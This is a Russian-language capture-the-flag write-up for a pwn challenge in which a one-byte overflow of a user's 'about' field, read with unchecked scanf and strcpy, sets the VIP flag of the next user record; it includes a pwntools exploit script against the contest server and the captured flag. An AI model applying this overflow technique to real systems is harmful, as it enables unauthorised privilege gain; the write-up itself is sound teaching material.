Только VIP-пывнер сможет получить флаг.

nc 109.233.56.90 11510

Solution

Запущу бинарь, чтобы понять логику:

========= MENU =========
[1] login
[2] register
[3] show all users
[4] exit
> 2

Enter username: kir
Enter password: 123
Enter information about youself: 111

> 1
Enter username: kir
Enter password: 123

========= USER MENU =========
[1] show info
...
> 3
You are not vip user

Всё так и есть — нужно получить VIP-статус.

Структура пользователя

Из функции show_user_info и смещений в ассемблере восстанавливаю структуру:

struct user __packed
{
    uint8_t vip;
    char name[0x1e];
    char passwd[0x1e];
    char about[0x32];
};

Функция add_admin выставляет vip = 1:

int64_t add_admin()
{
    users_list.vip = 1;
    __builtin_strcpy(&users_list.name, "admin");
    __builtin_strcpy(&users_list.passwd, "***************");
    return '********';
}

Уязвимость

Весь пользовательский ввод считывается через scanf без проверки длины. При создании пользователя используется strcpy — тоже без проверки.

В поле about можно ввести 0x32 + 1 байт. Таким образом перезапишется vip-поле в следующей структуре пользователя в массиве.

Т.е. следующий зарегистрированный пользователь уже будет VIP.

Exploit

pwn template vip --host 109.233.56.90 --port 11510 > exploit.py
io = start()

payload = b'q' * 0x32 + p8(1)

# Регистрируем первого пользователя, переполняя about
io.sendline(b'2')
io.sendline(b'user')
io.sendline(b'123')
io.sendline(payload)

# Регистрируем VIP-пользователя (его vip будет = 1)
io.sendline(b'2')
io.sendline(b'b')
io.sendline(b'b')
io.sendline(b'b')

# Логинимся
io.sendline(b'1')
io.sendline(b'b')
io.sendline(b'b')

io.recv()

# Получаем флаг
io.sendline(b'3')
flag = io.recv()
print(flag.decode())

io.interactive()
spbctf{d0_n07_f0r637_70_ch3ck_v4r14bl3_51z3}